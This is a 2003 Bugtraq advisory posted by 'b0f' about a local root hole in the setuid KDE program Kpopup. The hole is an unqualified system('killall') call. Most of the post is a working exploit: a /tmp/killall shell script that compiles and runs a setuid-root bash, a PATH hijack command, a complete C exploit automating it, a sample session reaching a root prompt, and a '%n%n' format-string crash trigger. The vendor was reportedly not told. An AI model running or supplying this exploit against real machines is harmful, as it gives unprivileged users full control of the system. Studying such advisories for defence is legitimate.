bugtraq - Local root vuln in kpopup

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Message-ID: <20031028181243.17051.qmail@sf-www3-symnsj.securityfocus.com>
Date: 28 Oct 2003 18:12:43 -0000
From: b0f www.b0f.net <b0fnet@...oo.com>
To: bugtraq@...urityfocus.com
Subject: Local root vuln in kpopup

A local root vuln exists in Kpopup version 0.9.1(latest) and 
proberly all other versions. It is avaliable from
http://www.henschelsoft.de/kpopup_en.html (main site)
http://www.freebsd.org/ports/net.html
and many other places if you search kpopup on google.

I. BACKGROUND

Kpopup is a KDE program for sending and receiving MS Windows WinPopup 
messages. When package is compiled and install the binary kpopup gets
installed suid root it also comes as part of FreeBSD ports collection.

II. DESCRIPTION & EXPLOIT
This app uses the system() call which is very unsafe expecially
on a suid root binary. It also contains Format string bugs in the 
sprintf() function. In this advisory i will explain how to obtain
root privlages from this app by exploiting system(). There is 3 
places on the misc.cpp source that use system(). The one we use to
exploit this is on line 106.

void sendSignalForNewMessage() {
    char command[50];

    sprintf(command, "killall -USR1 kpopup");
    system(command);
}

To exploit this what we need to do is make a shell script and call it
killall and place it in the /tmp directory. Here is a script that i 
wrote to exlpoit it.

#!/bin/sh
cd /tmp
/bin/cat > shell.c << EOF
#include <stdio.h>
int main()
{
setuid(0);
setgid(0);
execl("/bin/bash", "-bash", NULL);
return 0;
}
EOF
/usr/bin/gcc /tmp/shell.c -o /tmp/shell
/bin/chown root.root shell
/bin/chmod 6711 shell
echo "NOW HERE IS YOUR ROOT SHELL"
/tmp/shell

so place this in /tmp as killall and chmod +x it. Now what we need to 
do is.
export 
PATH=/tmp:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:

Once this is done all we need to do is run the binary like so.
/usr/local/kde/bin/kpopup root shell
and thats it we now have root privs.

an example run of this...

[b0f@b0f b0f]$ export
PATH=/tmp:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:
[b0f@b0f b0f]$ /usr/local/kde/bin/kpopup root shell
fileerror!
NOW HERE IS YOUR ROOT SHELL
[root@b0f tmp]#

The format strings bugs are in that main.cpp source line 56 and 60
they can be triggered by 
[b0f@b0f b0f]$ /usr/local/kde/bin/kpopup %n%n %n%n
Segmentation fault
[b0f@b0f b0f]$

I haven't exploited the fmt bugs. There also seems to be possable race 
condtions 
in kpopup.

III. EXPLOIT

/*Local root exploit for kpopup
 *by b0f www.b0f.net
 */
#include <stdio.h>
int main()
{
setenv("PATH=/tmp:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:\
/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:");
FILE *fd;
fd = fopen("/tmp/killall", "w");{
fprintf(fd, "#!/bin/sh\n");
fprintf(fd, "cd /tmp\n");
fprintf(fd, "/bin/cat > shell.c << EOF\n");
fprintf(fd, "#include <stdio.h>\n");
fprintf(fd, "int main()\n");
fprintf(fd, "{\n");
fprintf(fd, "setuid(0);\n");
fprintf(fd, "setgid(0);\n");
fprintf(fd, "execl(\"/bin/bash\", \"-bash\", NULL);\n");
fprintf(fd, "return 0;\n");
fprintf(fd, "}\n");
fprintf(fd, "EOF\n");
fprintf(fd, "/usr/bin/gcc /tmp/shell.c -o /tmp/shell\n");
fprintf(fd, "/bin/chown root.root /tmp/shell\n");
fprintf(fd, "/bin/chmod 6711 /tmp/shell\n");
fprintf(fd, "echo NOW HERE IS YOUR ROOT SHELL\n");
fprintf(fd, "/tmp/shell\n");
fclose(fd);
system("chmod +x /tmp/killall");
system("/usr/local/kde/bin/kpopup root shell");
return 0;
}
}

IV. ANALYSIS

An attacker could exploit this issue on a machine running kpopup to 
obtain root privileges.

V.DETECTION

This is vulnerable in all versions off kpopup tested on Redhat 9.0

VI. VENDOR

The vendor has not been contacted about this issue.

Regards
b0f  (Alan M)
www.b0f.net